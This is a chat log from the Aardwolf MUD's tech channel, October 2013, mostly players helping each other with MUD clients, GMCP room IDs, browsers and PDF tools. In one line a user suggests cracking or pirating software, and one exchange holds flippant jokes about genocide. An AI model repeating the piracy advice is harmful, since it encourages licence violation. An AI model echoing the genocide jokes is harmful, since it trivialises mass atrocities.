T3/r7/2013-10-15.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: the one I'm avoiding or the one before it?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Redryn Tech: whatever, i just wanna go there
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Xaxz Tech: Any reliable way to use GMCP messages to process something after each round of combat or would a prompt trigger be best?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Comanchee Tech: I don't have an 'edit bookmark' option when I right click on a room on the mapper.  Is there some other way to do this?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Ayasinda Tech: noone has an 'edit bookmark'. Do you mean edit note?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Comanchee Tech: see the bottom screenshots in the following page: http://www.aardwolf.com/wiki/index.php/Clients/GMCPMapper
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Comanchee Tech: perhaps that an older version, and now it's called "notes"?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Ayasinda Tech: old screenshots
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Comanchee Tech: ok now I feel the fool - thanks
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Isafdar Tech: i have winkles s&d, does anyone know why sometimes cp check shows the rooms of monsters, and other times only the area?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Tech: the MUD outputs it
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Tech: has nothing to do with winkle
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Ontuct Tech: that is a game issue not a plug in issue
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Isafdar Tech: ok thanks
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Tech: once you have remorted once, your campaigns may be areaname or roomname
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Ontuct Tech: and the roomname ones will eventually be the quicker of the 2
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Havvoc Tech: does prompts work through bbssh?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Isafdar Tech: can anyone help me with a bast miniwin plugin
T3/r7/2013-10-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: after years and years of development. browsers cannot resume a download after a connection hickup.. is there somebody we can sue?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Gener Tech: firefox does chrome does
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Martini & Tyebald Tech: opera does.  safari probably does.
T3/r7/2013-10-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: im trying firefox now
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Remember November Tech: You can submit the idea to the message boards for your browser
T3/r7/2013-10-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: chrome and opera failed
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Nuanse Tech: firefox doesnt resume on blank slate.
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Gener Tech: i have never had an issue on resume with firefox
T3/r7/2013-10-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i hope it doesn't have to prove your statement now. 4th try now:)
T3/r7/2013-10-15.txt.gz:{chan ch=tech}WarPigs Tech: I always have to do this to resume in Firefox.  https://support.mozilla.org/en-US/questions/956742
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Gener Tech: lol i just click the resume button
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Nuanse Tech: gener, you really do know how resume works :P
T3/r7/2013-10-15.txt.gz:{chan ch=tech}WarPigs Tech: And of course, you can't resume a one-time generated download link on any browser.
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Nuanse Tech: just push button. 
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Zade Tech: iExplore6 (under Win98) resumes an interrupted download on several conditions: (1) the file was not renamed for the download, (2) the original download request screen was used to restart the interupted download (3) the internet browser cache and history are not yet cleared
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Zade Tech: so the technology is already there
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Zade Tech: but with upgrades, Microsoft likes to discard the earlier innovations
T3/r7/2013-10-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: hm. can i sue microsoft? oh, wait.. i din't pay for my windows
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Zade Tech: maybe some bozos at software development assumed that with broadband, restart from start is faster 
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Zade Tech: but if you are using Apple or Linux, you are at the mercy of nonMicrosoft bozos (unless they are moles)
T3/r7/2013-10-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: linux is always unfinished:( windows is finished, just have to be patient with the flaws
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Turie Tech: When is Windows a finish product?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Zade Tech: (in Finland - xchan)
T3/r7/2013-10-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: its like those early cars. they go.. but meh. this is a boring topic:(
T3/r7/2013-10-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i meant :)
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Comanchee Tech: mushclient users, how do I make an alias for mapper area (e.g. ma) when mapper area itself is an alias?  I'm a noob at aliases, triggers etc
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Isafdar Tech: just name the alias and put mapper area in the send box
T3/r7/2013-10-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i believe there is an execute alias or something under the dropdown from world
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Turie Tech: <aliases>  <alias
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Comanchee Tech: that didn't work isafdar
T3/r7/2013-10-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: where it says sendto: world change that to sendto: execute
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Comanchee Tech: thanks hadar
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Turie Tech: Comanchee I sent you an example.
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Turie Tech: If that does not help, https://code.google.com/p/aardwolfclientpackage/wiki/Aliases
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Turie Tech: There is a video and there are ones for triggers, macros, and variables.
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Comanchee Tech: is there a way to write an alias/trigger such that the mob I'm scanning for is highlighted w/ a color?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}<pretitle> Scars Tech: in mush? no idea... in cmud/zmud it's a #sub trigger
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Comanchee Tech: yea mush
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Turie Tech: Finger Bast.
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: scan * -> create trigger for * of here you see:, then create new trigger for *<mobname>*, replace text, unspawn spawned triggers
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Comanchee Tech: yea I haven't looked at his page yet
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Turie Tech: Comanchee: He has a set of plugins you might like to look at.
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Thunderous Norton Tech: mushclient has the ability to highlight phrases
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Turie Tech: He has a scan highlighter.
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Comanchee Tech: thanks all
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Thunderous Norton Tech: ctrl-alt-h will allow you to hilight words....
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Tech: Pleiades thanks Thunderous Norton heartily.
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Thunderous Norton Tech: you could do that, then look at the trigger and try and make it for a phrase in seeing a mob
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: New f.lux update is crazy o.0
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: what's with it?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Cuddlez Tech: Would it be considered normal for chkdsk /r /f to still be on the same file in stage 4 after hours, or would it be safe to assume that it's just not gonna get past that file?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Bode Tech: normal no, safe... with chkdsk its never safe :P
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Cuddlez Tech: Hm.. Cause this hard drive is just being total crap now.. HD tune and stuff says it's fine, but the computer completely locks up if I try to access certain files. >.<
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ashtray Tech: hi. anyone that can help me to fix up bbssh please? downloaded it, but doesn't work rite
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ashtray Tech: I'm currently on a copy of aardwolf. the only way I could get in
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ashtray Tech: any one there
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ashtray Tech: anybody here? 
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tormat Tech: nope
T3/r7/2013-10-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: the BBSSH field is small here, they may not be online, you can post on the tech forum and see if people respond to that, just remember to post whats not working/client ect ect
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ashtray Tech: thank you. the entire bbssh is buggers after a security wipe on my phone
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ashtray Tech: forum
T3/r7/2013-10-16.txt.gz:{chan ch=tech}MarulaBoom Tech: hi, I have a problem. when I type "whois" I get "Unknown command. blah blah" messages. I use bbssh for blackberry. can it be the keep alive script? it is built in.
T3/r7/2013-10-16.txt.gz:{chan ch=tech}MarulaBoom Tech: "whois" is just an example. it has happened before with other commands too
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Saferis Tech: i see several people playing from their phones - can anyone recommend a client for iphone?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ixle Tech: What OS do you run at home?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: best ios client is to throw it away and use a pc
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ixle Tech: The best ios client is an ssh client if you can run a command line client somewhere else :)
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Saferis Tech: mac at home - but i've got a few raspberry pi's so a ssh seems like a good idea..
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ixle Tech: Ooh, that'd be interesting to see how tt++ ran on a pi.
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Saferis Tech: tintin++ ?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ixle Tech: Yes
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Saferis Tech: hadn't thought of that - played AustinMud 15 years ago - and tintin was top of the pops then...
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ixle Tech: It's still kickin and tickin :)
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Turie Tech: It keep on a tickin after it has taken a lickin.
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ixle Tech: Here it is in all it's glory today: http://goo.gl/R8dITJ
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: nasssssty trendy ssssspy devicesss, bagginssses!
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ixle Tech: "its"
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Saferis Tech: looks charming...
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Saferis Tech: using mudlet now but i'll have a look at tintin soon...
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tech: heh, we did have a user that installed tinyfugue from my source on a raspberry pi :-)
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ixle Tech: Nice, how'd it run?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: pripri tintin
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tech: and saferis: my preferred client on IOS devices is iSSH...it's a telnet, ssh, VNC, RDP client and X11 server
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: and it comes in pink
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tech: it can tunnel the visual stuff through SSH, so it's a great all-around access tool
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Saferis Tech: i know iSSH - been using it to manage my vps for a while... I hadn't thought of it as a mud client though.
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ixle Tech: This is 2013, you need a client to get to your client.
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tech: Saferis -)
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tech: heh, some of us had been doing stuff like that for 20 years...I remember using a gopher client to roundabout access a MUD back then ;-)
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: not on an iphone you didn't
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tech: once I invented the Flux Capacitor I did
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: wasn't the jet pack yours, too?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ixle Tech: It's coming full circle.
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tech: and ixle: he said it compiled and ran pretty seamlessly on the pi, only issue he mentioned having was when he keybinded numpad to directions, except "4" and "6" were going to aff and scan, don't remember if he ever figured out where it went wonky
T3/r7/2013-10-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: can anyone recommend a PDF program that can edit PDFs also(on linux) i get editable pdfs from work i can open them then they are only readable not writable
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: adobe acrobat
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Mr. Dash Tech: if you can crack it, foxit is made just for that. or you could pirate acrobat
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: or you could buy acrobat :-)
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Mr. Dash Tech: adobe products have a ridiculous cost
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Mr. Dash Tech: IMO
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Vost Tech: yeah, they are aimed at professional publishers
T3/r7/2013-10-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i just wanted to fill out my timecard nothing fancy
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: what are you supposed to be filling it out with? a pen?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i have one in pen but i dont like that so i also have an editable pdf
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: can't you screengrab and export to an editable form?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Mr. Dash Tech: according to google, an open source linux option: http://www.cyberciti.biz/tips/open-source-linux-pdf-writer.html
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ranrr Tech: use the free acrobat on linux, then print as pdf
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tech: these PDFs are writeable in Reader on Windows, but just not on Linux?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: ya abe i can toss my windows HDD in my laptop but thats too much work
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: at least you're not trying to open it on a smartphone or something daft
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: i'm glad i don't have a facebook account, they're soon about to turn off the privacy features
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: is that going around again?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: worse comes to worse ill just print them out and fill them in by hand
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ranrr Tech: or use the solution I proposed
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: they're removing the option to prevent your account appearing in searches, you'll still be able to prevent your wall being publically visible
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: it bothers you that people will be able to search to verify the existance of a facebook account without being able to know any details on the account?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ranrr Tech: is it possible to do a real delete on fb?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Mr. Dash Tech: yes
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: yup
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: i did it :-)
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: and my mobile phone is off unless i want to use it
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ranrr Tech: don't forget the tin foil hat :P
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: having a hatred of the constantly contactable society has nothing to do with metal headwear, it's to do with wanting the option to be left alone
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: it only becomes an issue when some genius comes up with products and services that require a facebook account
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ranrr Tech: oh, I avoid those like the plague
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ranrr Tech: fortunately, nothing I use require fb
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: the idea of requiring facebook is to remove anonymity from comments
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: nothing to do with comments
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: i've yet to come across anything that required me to link my facebook account for something other than the ability to comment
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: facebook has been the worst thing to happen to society in the last 25 years
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: nope - justin bieber
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: bieber is irrelevent
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Six-String Strazor Tech: I would have chosen mass genocide but yeah.  Down with facebook.
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: who's been committing mass genocide?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: in the last 25 years?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Aizma Tech: Genocide just isn't worth it unless it's on a big scale
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: that timeline includes bosnia
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Six-String Strazor Tech: Syria is one, over 60,000 deaths.
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Six-String Strazor Tech: Sudan, Democratic Republic of Congo
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: darfur...falun gong...rwanda...
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Six-String Strazor Tech: Ethiopia, Burma/Myanmar
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Zimzar Tech: joy division
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: i'm not sure i'd agree genocide is something that has harmed society
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Aizma Tech: yeah, it's been great for humanity
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: ...uh...
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: it's a thing that has harmed certain countries, certain peoples, but not society or humanity as a whole
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tech: Six-String Strazor buries his face in his hand and sighs, shaking his head.
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Aizma Tech: There were too many of us, anyway
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: the mere fact that genocide happens is a blackeye on humanity
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: that's what happens when you have people in charge
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Six-String Strazor Tech: So you went from "What genocide:" to 'Meh, okay they are going on.  It's not that bid a deal?"
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Aizma Tech: Progress, right?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: not so much not a big deal as much as not relevent
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: i'd *love* to hear the dissertation that shows how social networking websites (facebook) is worse than genocide happening in the modern age
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: that'd be pretty easy, genocide doesn't have a corrosive effect on all society like facebook does
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: i have not witnessed said corrosive effect
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: genocide has a very fatal and immediate effect on -a- society
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: then you wander around with your eyes shut every day, or maybe you don't interact with chavdom
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: chavdom?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Six-String Strazor Tech: So the l
T3/r7/2013-10-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i finally found something, "okular"
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: https://en.wikipedia.org/wiki/Chav#cite_note-agediscrim-3
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: meh, ditch everything after the #
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: ah, i see what's happening here
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: facebook is ruining the UK, ergo you care about it, ergo it's the worst thing to happen to society... YOUR society
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: it was pretty torrid before that, but yes, it's greasing the skids
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tigernuts Tech: i wasn't aware there was any other society
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tech: <pretitle> Scars laughs out loud.
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Turie Tech: Always around running, doing whatever others love for...is the devil!
T3/r7/2013-10-16.txt.gz:{chan ch=tech}The Arist Tech: How do you do a color copy/paste on Mushclient?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: ctrl+d
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Turie Tech: ctrl+d and then ctrl+v
T3/r7/2013-10-16.txt.gz:{chan ch=tech}<pretitle> Scars Tech: i did not know you could do that......
T3/r7/2013-10-16.txt.gz:{chan ch=tech}The Arist Tech: thank you very much
T3/r7/2013-10-16.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: highlight it then ctrl d then ctrl v
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So I do most of my stuff off-campus and usually don't have to worry about it, but recently discovered the campus network sniffer blocks any page referencing a hashmap due to drug references :-P
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tech: Daesilme falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Which is, of course, what happens when the people creating the tools are not the ones administrating them
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Snapples Tech: test
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Snapples Tech: hi guys whomevers listening :) I was reading a post from Lasher on a mud forum and he was talking about the development of AArdwolf and how well it was going
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Snapples Tech: Is there a place I can read more about the tech running in AArdwolf?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Redryn Tech: where?
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Snapples Tech: it was old http://www.gammon.com.au/forum/?id=8306
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Pleiades Tech: help area creation
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Pleiades Tech: help build
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Redryn Tech: what sort of info are you looking for
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Pleiades Tech: help builder too
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ranrr Tech: help hardware
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Snapples Tech: well the branch of mud code this is based on and the driver if it's running a seperate driver. 
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Ranrr Tech: it's all original code
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tech: aard is custom from the ground up, not based on a branch of a codebase...
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tech: and not sure what kind of "driver" you're talking about
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Snapples Tech: the part that communicates to the client
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tech: that's not a driver, it's just telnet
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Tech: GMCP is communicating using telnet option subnegotiations, as allowed by the spec
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Snapples Tech: I mean the server excutable I understand some muds are designed as one compiled program and some use a launcher or driver and then have modules/scripts running off that
T3/r7/2013-10-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Aard is Diku-inspired, but has been 100% original code for many years now
T3/r7/2013-10-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: help credits/help diku lets you know about that
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Ranrr Tech: I believe aard is one "monolithic" executable, but it has a lua interpreter, so some things are scripted in lua.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Snapples Tech: cool yeah just reading wiki about it as well.  Thanks for the commands.  I'm going to read them all :)
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Biznitch Isabelle Tech: anyone updated to windows 8.1 yet?
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Anybody have any thoughts on Isilon Storage Systems?
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I'm being thrown under a bus, want to know what I'm getting into :P
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Grissom Tech: I dont think have heard of it
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Protogynus Robbo Tech: It's a SAN vendor, was bought by EMC.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Domovoy Tech: is room id of continents permanent?
T3/r7/2013-10-17.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: permanent to the extent that any are permanent
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Domovoy Tech: what?
T3/r7/2013-10-17.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: That is sometimes when areas are reworked the UID are reused in teh area.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: But other than that they've stayed the same.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Domovoy Tech: thanks. so i can't rely on room id of continent
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: yes, you can
T3/r7/2013-10-17.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: No I think you can.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Domovoy Tech: hmm, when i am walking around in same rooms i get diff room id
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: a room's UID is indellible/permanent/reliable...that room will always have that ID...
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: you're not walking around in same rooms
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: you're walking around in similar/like-named rooms
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Domovoy Tech: in areas yes, but in continent i have diff uids
T3/r7/2013-10-17.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Either a maze type room where rooms appear hte same, or youa ren't talking about the GMCP UID that you get, but instead something mudside.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: sorry, client side...not mudside
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: continents and areas act the same for room IDs
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Domovoy Tech: i talking about GMCP UID
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: every room on the MUD has a UID which will never change
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: and that UID is given the same whether you're in an area or on a continent (which really is an area)
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Domovoy Tech: even on continent?
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: there is no difference whatsoever in UID handling whether on continent or area
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: the coords behave differently, but that's not UID
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Domovoy Tech: strange, walk in 2 room on continent, and get diff uid every time
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: as you should...they're different rooms
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: so they have different UID
T3/r7/2013-10-17.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Each room is one UID.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Domovoy Tech: no, diff uid of one room
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: no, it's not one room
T3/r7/2013-10-17.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Drop some gold in the room, it's not the same room I can guarantee you!
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: you're simply wrong in thinking that it's the same room (or you're not accessing the UID properly in your client)
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Domovoy Tech: i read that is 3 room, but coordinates is same
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Domovoy Tech: run ws6w3s3w, and walk west and east
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Domovoy Tech: o sorry
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Domovoy Tech: wrong sw
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: run that from where? you may be going into an area and back out to a continent where you exit to a different room
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Domovoy Tech: run 8s2eds8w8n3s3w
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Domovoy Tech: room The Desolate Pridelands
